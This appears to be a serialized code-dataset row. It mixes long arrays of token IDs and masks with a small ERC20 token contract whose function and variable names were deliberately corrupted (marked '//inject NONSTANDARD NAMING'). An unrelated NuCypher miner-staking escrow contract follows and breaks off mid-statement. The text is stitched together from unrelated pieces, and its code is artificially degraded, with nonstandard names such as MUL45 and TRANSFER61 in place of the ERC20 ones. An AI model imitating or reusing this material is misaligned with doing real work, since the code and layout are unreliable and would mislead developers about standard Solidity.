16,
203,
3639,
2254,
5034,
4508,
2045,
287,
1345,
548,
16,
203,
3639,
2254,
5034,
8897,
16,
203,
3639,
2254,
5034,
3734,
16,
203,
3639,
2254,
5034,
1709,
1588,
203,
565,
262,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.7;
library safemath63 { //inject NONSTANDARD NAMING
function MUL45(uint256 A51, uint256 B68) internal pure returns (uint256) { //inject NONSTANDARD NAMING
if (A51 == 0) {
return 0;
}
uint256 C15 = A51 * B68; //inject NONSTANDARD NAMING
require(C15 / A51 == B68);
return C15;
}
function DIV63(uint256 A51, uint256 B68) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(B68 > 0);
uint256 C15 = A51 / B68; //inject NONSTANDARD NAMING
return C15;
}
function SUB29(uint256 A51, uint256 B68) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(B68 <= A51);
uint256 C15 = A51 - B68; //inject NONSTANDARD NAMING
return C15;
}
function ADD33(uint256 A51, uint256 B68) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 C15 = A51 + B68; //inject NONSTANDARD NAMING
require(C15 >= A51);
return C15;
}
}
contract mono88 { //inject NONSTANDARD NAMING
using safemath63 for uint256;
mapping (address => uint256) private BALANCES70; //inject NONSTANDARD NAMING
mapping (address => mapping (address => uint256)) private ALLOWED10; //inject NONSTANDARD NAMING
uint256 private _TOTALSUPPLY7 = 8235000; //inject NONSTANDARD NAMING
string public constant name25 = "Mono"; //inject NONSTANDARD NAMING
string public constant symbol49 = "MMONO"; //inject NONSTANDARD NAMING
uint8 public constant decimals44 = 6; //inject NONSTANDARD NAMING
function TOTALSUPPLY58() public view returns (uint256) { //inject NONSTANDARD NAMING
return _TOTALSUPPLY7;
}
function BALANCEOF4(address OWNER89) public view returns (uint256) { //inject NONSTANDARD NAMING
return BALANCES70[OWNER89];
}
function ALLOWANCE61(address OWNER89, address SPENDER90) public view returns (uint256) { //inject NONSTANDARD NAMING
return ALLOWED10[OWNER89][SPENDER90];
}
event TRANSFER77(address indexed FROM79, address indexed TO89, uint256 VALUE84); //inject NONSTANDARD NAMING
function _TRANSFER16(address FROM79, address TO89, uint256 VALUE84) internal { //inject NONSTANDARD NAMING
require(TO89 != address(0));
BALANCES70[FROM79] = BALANCES70[FROM79].SUB29(VALUE84);
BALANCES70[TO89] = BALANCES70[TO89].ADD33(VALUE84);
emit TRANSFER77(FROM79, TO89, VALUE84);
}
function TRANSFER61(address TO89, uint256 VALUE84) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER16(msg.sender, TO89, VALUE84);
return true;
}
event APPROVAL84(address indexed OWNER89, address indexed SPENDER90, uint256 VALUE84); //inject NONSTANDARD NAMING
function APPROVE84(address SPENDER90, uint256 VALUE84) public returns (bool) { //inject NONSTANDARD NAMING
require(SPENDER90 != address(0));
ALLOWED10[msg.sender][SPENDER90] = VALUE84;
emit APPROVAL84(msg.sender, SPENDER90, VALUE84);
return true;
}
function TRANSFERFROM88(address FROM79, address TO89, uint256 VALUE84) public returns (bool) { //inject NONSTANDARD NAMING
ALLOWED10[FROM79][msg.sender] = ALLOWED10[FROM79][msg.sender].SUB29(VALUE84);
_TRANSFER16(FROM79, TO89, VALUE84);
emit APPROVAL84(FROM79, msg.sender, ALLOWED10[FROM79][msg.sender]);
return true;
}
constructor() public {
BALANCES70[0x4b09b4aeA5f9C616ebB6Ee0097B62998Cb332275] = 8235000000000;
emit TRANSFER77(address(0x0), 0x4b09b4aeA5f9C616ebB6Ee0097B62998Cb332275, 8235000000000);
}
} | inject NONSTANDARD NAMING
| uint256 C15 = A51 * B68; | 6,396,910 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
5034,
385,
3600,
273,
432,
10593,
380,
605,
9470,
31,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
import "zeppelin/token/ERC20/SafeERC20.sol";
import "contracts/Issuer.sol";
/**
* @notice PolicyManager interface
**/
contract PolicyManagerInterface {
function register(address _node, uint16 _period) external;
function updateReward(address _node, uint16 _period) external;
function escrow() public view returns (address);
}
/**
* @notice Contract holds and locks miners tokens.
* Each miner that locks their tokens will receive some compensation
**/
contract MinersEscrow is Issuer {
using SafeERC20 for NuCypherToken;
using AdditionalMath for uint256;
using AdditionalMath for uint16;
event Deposited(address indexed miner, uint256 value, uint16 periods);
event Locked(address indexed miner, uint256 value, uint16 firstPeriod, uint16 periods);
event Divided(
address indexed miner,
uint256 oldValue,
uint16 lastPeriod,
uint256 newValue,
uint16 periods
);
event Withdrawn(address indexed miner, uint256 value);
event ActivityConfirmed(address indexed miner, uint16 indexed period, uint256 value);
event Mined(address indexed miner, uint16 indexed period, uint256 value);
struct StakeInfo {
uint16 firstPeriod;
uint16 lastPeriod;
uint16 periods;
uint256 lockedValue;
}
struct Downtime {
uint16 startPeriod;
uint16 endPeriod;
}
struct MinerInfo {
uint256 value;
/*
* Stores periods that are confirmed but not yet mined.
* In order to optimize storage, only two values are used instead of an array.
* lock() and confirmActivity() methods invoke the mint() method so there can only be two confirmed
* periods that are not yet mined: the current and the next periods.
* Periods are not stored in order due to storage savings;
* So, each time values of both variables need to be checked.
* The EMPTY_CONFIRMED_PERIOD constant is used as a placeholder for removed values
*/
uint16 confirmedPeriod1;
uint16 confirmedPeriod2;
// downtime
uint16 lastActivePeriod;
Downtime[] pastDowntime;
StakeInfo[] stakes;
}
/*
* Used as removed value for confirmedPeriod1(2).
* Non zero value decreases gas usage in some executions of confirmActivity() method
* but increases gas usage in mint() method. In both cases confirmActivity()
* with one execution of mint() method consume the same amount of gas
*/
uint16 constant EMPTY_CONFIRMED_PERIOD = 0;
uint16 constant RESERVED_PERIOD = 0;
uint16 constant MAX_CHECKED_VALUES = 5;
mapping (address => MinerInfo) public minerInfo;
address[] public miners;
mapping (uint16 => uint256) public lockedPerPeriod;
uint16 public minLockedPeriods;
uint256 public minAllowableLockedTokens;
uint256 public maxAllowableLockedTokens;
PolicyManagerInterface public policyManager;
/**
* @notice Constructor sets address of token contract and coefficients for mining
* @param _token Token contract
* @param _hoursPerPeriod Size of period in hours
* @param _miningCoefficient Mining coefficient
* @param _minLockedPeriods Min amount of periods during which tokens can be locked
* @param _lockedPeriodsCoefficient Locked blocks coefficient
* @param _rewardedPeriods Max periods that will be additionally rewarded
* @param _minAllowableLockedTokens Min amount of tokens that can be locked
* @param _maxAllowableLockedTokens Max amount of tokens that can be locked
**/
constructor(
NuCypherToken _token,
uint32 _hoursPerPeriod,
uint256 _miningCoefficient,
uint256 _lockedPeriodsCoefficient,
uint16 _rewardedPeriods,
uint16 _minLockedPeriods,
uint256 _minAllowableLockedTokens,
uint256 _maxAllowableLockedTokens
)
public
Issuer(
_token,
_hoursPerPeriod,
_miningCoefficient,
_lockedPeriodsCoefficient,
_rewardedPeriods
)
{
// constant `1` in the expression `_minLockedPeriods > 1` uses to simplify the `lock` method
require(_minLockedPeriods > 1 && _maxAllowableLockedTokens != 0);
minLockedPeriods = _minLockedPeriods;
minAllowableLockedTokens = _minAllowableLockedTokens;
maxAllowableLockedTokens = _maxAllowableLockedTokens;
}
/**
* @dev Checks the existence of a miner in the contract
**/
modifier onlyMiner()
{
require(minerInfo[msg.sender].value > 0);
_;
}
/**
* @notice Get the start period. Use in the calculation of the last period of the stake
**/
function getStartPeriod(MinerInfo storage _info, uint16 _currentPeriod)
internal view returns (uint16)
{
// if the next period (after current) is confirmed
if (_info.confirmedPeriod1 > _currentPeriod || _info.confirmedPeriod2 > _currentPeriod) {
return _currentPeriod.add16(1);
}
return _currentPeriod;
}
/**
* @notice Get the last period of the stake
**/
function getLastPeriodOfStake(StakeInfo storage _stake, uint16 _startPeriod)
internal view returns (uint16)
{
return _stake.lastPeriod != 0 ? _stake.lastPeriod : _startPeriod.add16(_stake.periods);
}
/**
* @notice Get the last period of the stake
* @param _miner Miner
* @param _index Stake index
**/
function getLastPeriodOfStake(address _miner, uint256 _index)
public view returns (uint16)
{
MinerInfo storage info = minerInfo[_miner];
require(_index < info.stakes.length);
StakeInfo storage stake = info.stakes[_index];
uint16 startPeriod = getStartPeriod(info, getCurrentPeriod());
return getLastPeriodOfStake(stake, startPeriod);
}
/**
* @notice Get the value of locked tokens for a miner in a future period
* @param _miner Miner
* @param _periods Amount of periods to calculate locked tokens
**/
function getLockedTokens(address _miner, uint16 _periods)
public view returns (uint256 lockedValue)
{
uint16 startPeriod = getCurrentPeriod();
uint16 nextPeriod = startPeriod.add16(_periods);
MinerInfo storage info = minerInfo[_miner];
startPeriod = getStartPeriod(info, startPeriod);
for (uint256 i = 0; i < info.stakes.length; i++) {
StakeInfo storage stake = info.stakes[i];
if (stake.firstPeriod <= nextPeriod &&
getLastPeriodOfStake(stake, startPeriod) >= nextPeriod) {
lockedValue = lockedValue.add(stake.lockedValue);
}
}
}
/**
* @notice Get the value of locked tokens for a miner in the current period
* @param _miner Miner
**/
function getLockedTokens(address _miner)
public view returns (uint256)
{
return getLockedTokens(_miner, 0);
}
/**
* @notice Pre-deposit tokens
* @param _miners Miners
* @param _values Amount of tokens to deposit for each miner
* @param _periods Amount of periods during which tokens will be locked for each miner
**/
function preDeposit(address[] _miners, uint256[] _values, uint16[] _periods)
public isInitialized
{
require(_miners.length != 0 &&
_miners.length == _values.length &&
_miners.length == _periods.length);
uint16 currentPeriod = getCurrentPeriod();
uint256 allValue = 0;
for (uint256 i = 0; i < _miners.length; i++) {
address miner = _miners[i];
uint256 value = _values[i];
uint16 periods = _periods[i];
MinerInfo storage info = minerInfo[miner];
require(info.stakes.length == 0 &&
value >= minAllowableLockedTokens &&
value <= maxAllowableLockedTokens &&
periods >= minLockedPeriods);
miners.push(miner);
policyManager.register(miner, currentPeriod);
info.value = value;
info.stakes.push(StakeInfo(currentPeriod.add16(1), 0, periods, value));
allValue = allValue.add(value);
emit Deposited(miner, value, periods);
}
token.safeTransferFrom(msg.sender, address(this), allValue);
}
/**
* @notice Get the last active miner's period
* @param _miner Miner
**/
function getLastActivePeriod(address _miner) public view returns (uint16) {
MinerInfo storage info = minerInfo[_miner];
if (info.confirmedPeriod1 != EMPTY_CONFIRMED_PERIOD ||
info.confirmedPeriod2 != EMPTY_CONFIRMED_PERIOD) {
return AdditionalMath.max16(info.confirmedPeriod1, info.confirmedPeriod2);
}
return info.lastActivePeriod;
}
/**
* @notice Implementation of the receiveApproval(address,uint256,address,bytes) method
* (see NuCypherToken contract). Deposit all tokens that were approved to transfer
* @param _from Miner
* @param _value Amount of tokens to deposit
* @param _tokenContract Token contract address
* @notice (param _extraData) Amount of periods during which tokens will be locked
**/
function receiveApproval(
address _from,
uint256 _value,
address _tokenContract,
bytes /* _extraData */
)
external
{
require(_tokenContract == address(token) && msg.sender == address(token));
// copy first 32 bytes from _extraData. Position is calculated as
// 4 bytes method signature plus 32 * 3 bytes for previous params and
// addition 32 bytes to skip _extraData pointer
uint256 payloadSize;
uint256 payload;
assembly {
payloadSize := calldataload(0x84)
payload := calldataload(0xA4)
}
payload = payload >> 8*(32 - payloadSize);
deposit(_from, _value, uint16(payload));
}
/**
* @notice Deposit tokens
* @param _value Amount of tokens to deposit
* @param _periods Amount of periods during which tokens will be locked
**/
function deposit(uint256 _value, uint16 _periods) public {
deposit(msg.sender, _value, _periods);
}
/**
* @notice Deposit tokens
* @param _miner Miner
* @param _value Amount of tokens to deposit
* @param _periods Amount of periods during which tokens will be locked
**/
function deposit(address _miner, uint256 _value, uint16 _periods) internal isInitialized {
require(_value != 0);
MinerInfo storage info = minerInfo[_miner];
// initial stake of the miner
if (info.stakes.length == 0) {
miners.push(_miner);
policyManager.register(_miner, getCurrentPeriod());
}
info.value = info.value.add(_value);
token.safeTransferFrom(_miner, address(this), _value);
lock(_miner, _value, _periods);
emit Deposited(_miner, _value, _periods);
}
/**
* @notice Lock some tokens as a stake
* @param _value Amount of tokens which will be locked
* @param _periods Amount of periods during which tokens will be locked
**/
function lock(uint256 _value, uint16 _periods) public onlyMiner {
lock(msg.sender, _value, _periods);
}
/**
* @notice Lock some tokens as a stake
* @param _miner Miner
* @param _value Amount of tokens which will be locked
* @param _periods Amount of periods during which tokens will be locked
**/
function lock(address _miner, uint256 _value, uint16 _periods) internal {
require(_value <= token.balanceOf(address(this)) &&
_value >= minAllowableLockedTokens &&
_periods >= minLockedPeriods);
uint16 lastActivePeriod = getLastActivePeriod(_miner);
mint(_miner);
uint256 lockedTokens = getLockedTokens(_miner, 1);
MinerInfo storage info = minerInfo[_miner];
require(_value.add(lockedTokens) <= info.value &&
_value.add(lockedTokens) <= maxAllowableLockedTokens);
uint16 nextPeriod = getCurrentPeriod().add16(1);
if (info.confirmedPeriod1 != nextPeriod && info.confirmedPeriod2 != nextPeriod) {
info.stakes.push(StakeInfo(nextPeriod, 0, _periods, _value));
} else {
info.stakes.push(StakeInfo(nextPeriod, 0, _periods - 1, _value));
}
confirmActivity(_miner, _value + lockedTokens, _value, lastActivePeriod);
emit Locked(_miner, _value, nextPeriod, _periods);
}
/**
* @notice Divide stake into two parts
* @param _index Index of the stake
* @param _newValue New stake value
* @param _periods Amount of periods for extending stake
**/
function divideStake(
uint256 _index,
uint256 _newValue,
uint16 _periods
)
public onlyMiner
{
MinerInfo storage info = minerInfo[msg.sender];
require(_newValue >= minAllowableLockedTokens &&
_periods > 0 &&
_index < info.stakes.length);
StakeInfo storage stake = info.stakes[_index];
uint16 currentPeriod = getCurrentPeriod();
uint16 startPeriod = getStartPeriod(info, currentPeriod);
uint16 lastPeriod = getLastPeriodOfStake(stake, startPeriod);
require(lastPeriod >= currentPeriod);
uint256 oldValue = stake.lockedValue;
stake.lockedValue = oldValue.sub(_newValue);
require(stake.lockedValue >= minAllowableLockedTokens);
info.stakes.push(StakeInfo(stake.firstPeriod, 0, stake.periods.add16(_periods), _newValue));
// if the next period is confirmed and old stake is finishing in the current period then rerun confirmActivity
if (lastPeriod == currentPeriod && startPeriod > currentPeriod) {
confirmActivity(msg.sender, _newValue, _newValue, 0);
}
emit Divided(msg.sender, oldValue, lastPeriod, _newValue, _periods);
emit Locked(msg.sender, _newValue, stake.firstPeriod, stake.periods + _periods);
}
/**
* @notice Withdraw available amount of tokens to miner
* @param _value Amount of tokens to withdraw
**/
function withdraw(uint256 _value) public onlyMiner {
MinerInfo storage info = minerInfo[msg.sender];
// the max locked tokens in most cases will be in the current period
// but when the miner stakes more then we should use the next period
uint256 lockedTokens = Math.max256(getLockedTokens(msg.sender, 1),
getLockedTokens(msg.sender, 0));
require(_value <= token.balanceOf(address(this)) &&
_value <= info.value.sub(lockedTokens));
info.value -= _value;
token.safeTransfer(msg.sender, _value);
emit Withdrawn(msg.sender, _value);
}
/**
* @notice Confirm activity for the next period
* @param _miner Miner
* @param _lockedValue Locked tokens in the next period
* @param _additional Additional locked tokens in the next period.
* Used only if the period has already been confirmed
* @param _lastActivePeriod Last active period
**/
function confirmActivity(
address _miner,
uint256 _lockedValue,
uint256 _additional,
uint16 _lastActivePeriod
) internal {
require(_lockedValue > 0);
MinerInfo storage info = minerInfo[_miner];
uint16 currentPeriod = getCurrentPeriod();
uint16 nextPeriod = currentPeriod.add16(1);
// update lockedValue if the period has already been confirmed
if (info.confirmedPeriod1 == nextPeriod) {
lockedPerPeriod[nextPeriod] = lockedPerPeriod[nextPeriod].add(_additional);
emit ActivityConfirmed(_miner, nextPeriod, _additional);
return;
} else if (info.confirmedPeriod2 == nextPeriod) {
lockedPerPeriod[nextPeriod] = lockedPerPeriod[nextPeriod].add(_additional);
emit ActivityConfirmed(_miner, nextPeriod, _additional);
return;
}
lockedPerPeriod[nextPeriod] = lockedPerPeriod[nextPeriod].add(_lockedValue);
if (info.confirmedPeriod1 == EMPTY_CONFIRMED_PERIOD) {
info.confirmedPeriod1 = nextPeriod;
} else {
info.confirmedPeriod2 = nextPeriod;
}
for (uint256 index = 0; index < info.stakes.length; index++) {
StakeInfo storage stake = info.stakes[index];
if (stake.periods > 1) {
stake.periods--;
} else if (stake.periods == 1) {
stake.periods = 0;
stake.lastPeriod = nextPeriod;
}
}
// miner was inactive for several periods
if (_lastActivePeriod < currentPeriod) {
info.pastDowntime.push(Downtime(_lastActivePeriod + 1, currentPeriod));
}
emit ActivityConfirmed(_miner, nextPeriod, _lockedValue);
}
/**
* @notice Confirm activity for the next period and mine for the previous period
**/
function confirmActivity() external onlyMiner {
uint16 lastActivePeriod = getLastActivePeriod(msg.sender);
mint(msg.sender);
MinerInfo storage info = minerInfo[msg.sender];
uint16 currentPeriod = getCurrentPeriod();
uint16 nextPeriod = currentPeriod + 1;
// the period has already been confirmed
if (info.confirmedPeriod1 == nextPeriod ||
info.confirmedPeriod2 == nextPeriod) {
return;
}
uint256 lockedTokens = getLockedTokens(msg.sender, 1);
confirmActivity(msg.sender, lockedTokens, 0, lastActivePeriod);
}
/**
* @notice Mint tokens for previous periods if miner locked their tokens and confirmed activity
**/
function mint() external onlyMiner {
// save last active period to the storage if only one period is confirmed
// because after this minting confirmed periods can be empty and can't calculate period from them
// see getLastActivePeriod(address)
MinerInfo storage info = minerInfo[msg.sender];
if (info.confirmedPeriod1 != EMPTY_CONFIRMED_PERIOD ||
info.confirmedPeriod2 != EMPTY_CONFIRMED_PERIOD) {
info.lastActivePeriod = AdditionalMath.max16(info.confirmedPeriod1, info.confirmedPeriod2);
}
mint(msg.sender);
}
/**
* @notice Mint tokens for previous periods if miner locked their tokens and confirmed activity
* @param _miner Miner
**/
function mint(address _miner) internal {
uint16 startPeriod = getCurrentPeriod();
uint16 previousPeriod = startPeriod.sub16(1);
MinerInfo storage info = minerInfo[_miner];
if (info.confirmedPeriod1 > previousPeriod &&
info.confirmedPeriod2 > previousPeriod ||
info.confirmedPeriod1 > previousPeriod &&
info.confirmedPeriod2 == EMPTY_CONFIRMED_PERIOD ||
info.confirmedPeriod2 > previousPeriod &&
info.confirmedPeriod1 == EMPTY_CONFIRMED_PERIOD ||
info.confirmedPeriod1 == EMPTY_CONFIRMED_PERIOD &&
info.confirmedPeriod2 == EMPTY_CONFIRMED_PERIOD) {
return;
}
uint16 first;
uint16 last;
if (info.confirmedPeriod1 > info.confirmedPeriod2) {
last = info.confirmedPeriod1;
first = info.confirmedPeriod2;
} else {
first = info.confirmedPeriod1;
last = info.confirmedPeriod2;
}
startPeriod = getStartPeriod(info, startPeriod);
uint256 reward = 0;
if (info.confirmedPeriod1 != EMPTY_CONFIRMED_PERIOD &&
info.confirmedPeriod1 < info.confirmedPeriod2) {
reward = reward.add(mint(_miner, info, info.confirmedPeriod1, previousPeriod, startPeriod));
info.confirmedPeriod1 = EMPTY_CONFIRMED_PERIOD;
} else if (info.confirmedPeriod2 != EMPTY_CONFIRMED_PERIOD &&
info.confirmedPeriod2 < info.confirmedPeriod1) {
reward = reward.add(mint(_miner, info, info.confirmedPeriod2, previousPeriod, startPeriod));
info.confirmedPeriod2 = EMPTY_CONFIRMED_PERIOD;
}
if (info.confirmedPeriod2 <= previousPeriod &&
info.confirmedPeriod2 > info.confirmedPeriod1) {
reward = reward.add(mint(_miner, info, info.confirmedPeriod2, previousPeriod, startPeriod));
info.confirmedPeriod2 = EMPTY_CONFIRMED_PERIOD;
} else if (info.confirmedPeriod1 <= previousPeriod &&
info.confirmedPeriod1 > info.confirmedPeriod2) {
reward = reward.add(mint(_miner, info, info.confirmedPeriod1, previousPeriod, startPeriod));
info.confirmedPeriod1 = EMPTY_CONFIRMED_PERIOD;
}
info.value = info.value.add(reward);
emit Mined(_miner, previousPeriod, reward);
}
/**
* @notice Calculate reward for one period
**/
function mint(
address _miner,
MinerInfo storage _info,
uint16 _period,
uint16 _previousPeriod,
uint16 _startPeriod
)
internal returns (uint256 reward)
{
for (uint256 i = 0; i < _info.stakes.length; i++) {
StakeInfo storage stake = _info.stakes[i];
uint16 lastPeriod = getLastPeriodOfStake(stake, _startPeriod);
if (stake.firstPeriod <= _period && lastPeriod >= _period) {
reward = reward.add(mint(
_previousPeriod,
stake.lockedValue,
lockedPerPeriod[_period],
lastPeriod.sub16(_period)));
}
}
policyManager.updateReward(_miner, _period);
}
/**
* @notice Get the value of locked tokens for active miners in (getCurrentPeriod() + _periods) period
* @param _periods Amount of periods for locked tokens calculation
**/
function getAllLockedTokens(uint16 _periods)
external view returns (uint256 lockedTokens)
{
require(_periods > 0);
uint16 currentPeriod = getCurrentPeriod();
for (uint256 i = 0; i < miners.length; i++) {
address miner = miners[i];
MinerInfo storage info = minerInfo[miner];
if (info.confirmedPeriod1 != currentPeriod &&
info.confirmedPeriod2 != currentPeriod) {
continue;
}
lockedTokens = lockedTokens.add(getLockedTokens(miner, _periods));
}
}
/**
* @notice Get active miners based on input points
* @param _points Array of absolute values
* @param _periods Amount of periods for locked tokens calculation
*
* @dev Sampling iterates over an array of miners and input points.
* Each iteration checks if the current point is contained within the current miner stake.
* If the point is greater than or equal to the current sum of stakes,
* this miner is skipped and the sum is increased by the value of next miner's stake.
* If a point is less than the current sum of stakes, then the current miner is appended to the resulting array.
* Secondly, the sum of stakes is decreased by a point;
* The next iteration will check the next point for the difference.
* Only miners which confirmed the current period (in the previous period) are used.
* If the number of points is more than the number of active miners with suitable stakes,
* the last values in the resulting array will be zeros addresses.
* The length of this array is always equal to the number of points.
**/
function sample(uint256[] _points, uint16 _periods)
external view returns (address[] result)
{
require(_periods > 0 && _points.length > 0);
uint16 currentPeriod = getCurrentPeriod();
result = new address[](_points.length);
uint256 pointIndex = 0;
uint256 sumOfLockedTokens = 0;
uint256 minerIndex = 0;
bool addMoreTokens = true;
while (minerIndex < miners.length && pointIndex < _points.length) {
address currentMiner = miners[minerIndex];
MinerInfo storage info = minerInfo[currentMiner];
uint256 point = _points[pointIndex];
if (info.confirmedPeriod1 != currentPeriod &&
info.confirmedPeriod2 != currentPeriod) {
minerIndex += 1;
addMoreTokens = true;
continue;
}
if (addMoreTokens) {
sumOfLockedTokens = sumOfLockedTokens.add(getLockedTokens(currentMiner, _periods));
}
if (sumOfLockedTokens > point) {
result[pointIndex] = currentMiner;
sumOfLockedTokens -= point;
pointIndex += 1;
addMoreTokens = false;
} else {
minerIndex += 1;
addMoreTokens = true;
}
}
}
/**
* @notice Set policy manager address
**/
function setPolicyManager(PolicyManagerInterface _policyManager) external onlyOwner {
require(address(policyManager) == 0x0 &&
_policyManager.escrow() == address(this));
policyManager = _policyManager;
}
/**
* @notice Return the length of the array of miners
**/
function getMinersLength() public view returns (uint256) {
return miners.length;
}
/**
* @notice Return the length of the array of stakes
**/
function getStakesLength(address _miner) public view returns (uint256) {
return minerInfo[_miner].stakes.length;
}
/**
* @notice Return the information about stake
**/
function getStakeInfo(address _miner, uint256 _index)
// TODO change to structure when ABIEncoderV2 is released
// public view returns (StakeInfo)
public view returns (uint16 firstPeriod, uint16 lastPeriod, uint16 periods, uint256 lockedValue)
{
StakeInfo storage info = minerInfo[_miner].stakes[_index];
firstPeriod = info.firstPeriod;
lastPeriod = info.lastPeriod;
periods = info.periods;
lockedValue = info.lockedValue;
}
/**
* @notice Return the length of the array of past downtime
**/
function getPastDowntimeLength(address _miner) public view returns (uint256) {
return minerInfo[_miner].pastDowntime.length;
}
/**
* @notice Return the information about past downtime
**/
function getPastDowntime(address _miner, uint256 _index)
// TODO change to structure when ABIEncoderV2 is released
// public view returns (Downtime)
public view returns (uint16 startPeriod, uint16 endPeriod)
{
Downtime storage downtime = minerInfo[_miner].pastDowntime[_index];
startPeriod = downtime.startPeriod;
endPeriod = downtime.endPeriod;
}
/**
* @dev Get MinerInfo structure by delegatecall
**/
function delegateGetMinerInfo(address _target, address _miner)
internal returns (MinerInfo memory result)
{
bytes32 memoryAddress = delegateGetData(_target, "minerInfo(address)", 1, bytes32(_miner), 0);
assembly {
result := memoryAddress
}
}
/**
* @dev Get StakeInfo structure by delegatecall
**/
function delegateGetStakeInfo(address _target, address _miner, uint256 _index)
internal returns (StakeInfo memory result)
{
bytes32 memoryAddress = delegateGetData(
_target, "getStakeInfo(address,uint256)", 2, bytes32(_miner), bytes32(_index));
assembly {
result := memoryAddress
}
}
/**
* @dev Get Downtime structure by delegatecall
**/
function delegateGetPastDowntime(address _target, address _miner, uint256 _index)
internal returns (Downtime memory result)
{
bytes32 memoryAddress = delegateGetData(
_target, "getPastDowntime(address,uint256)", 2, bytes32(_miner), bytes32(_index));
assembly {
result := memoryAddress
}
}
function verifyState(address _testTarget) public onlyOwner {
super.verifyState(_testTarget);
require(uint16(delegateGet(_testTarget, "minLockedPeriods()")) ==
minLockedPeriods);
require(uint256(delegateGet(_testTarget, "minAllowableLockedTokens()")) ==
minAllowableLockedTokens);
require(uint256(delegateGet(_testTarget, "maxAllowableLockedTokens()")) ==
maxAllowableLockedTokens);
require(address(delegateGet(_testTarget, "policyManager()")) == address(policyManager));
require(uint256(delegateGet(_testTarget, "lockedPerPeriod(uint16)",
bytes32(RESERVED_PERIOD))) == lockedPerPeriod[RESERVED_PERIOD]);
require(uint256(delegateGet(_testTarget, "getMinersLength()")) == miners.length);
if (miners.length == 0) {
return;
}
address minerAddress = miners[0];
bytes32 miner = bytes32(minerAddress);
require(address(delegateGet(_testTarget, "miners(uint256)", 0)) == minerAddress);
MinerInfo storage info = minerInfo[minerAddress];
MinerInfo memory infoToCheck = delegateGetMinerInfo(_testTarget, minerAddress);
require(infoToCheck.value == info.value &&
infoToCheck.confirmedPeriod1 == info.confirmedPeriod1 &&
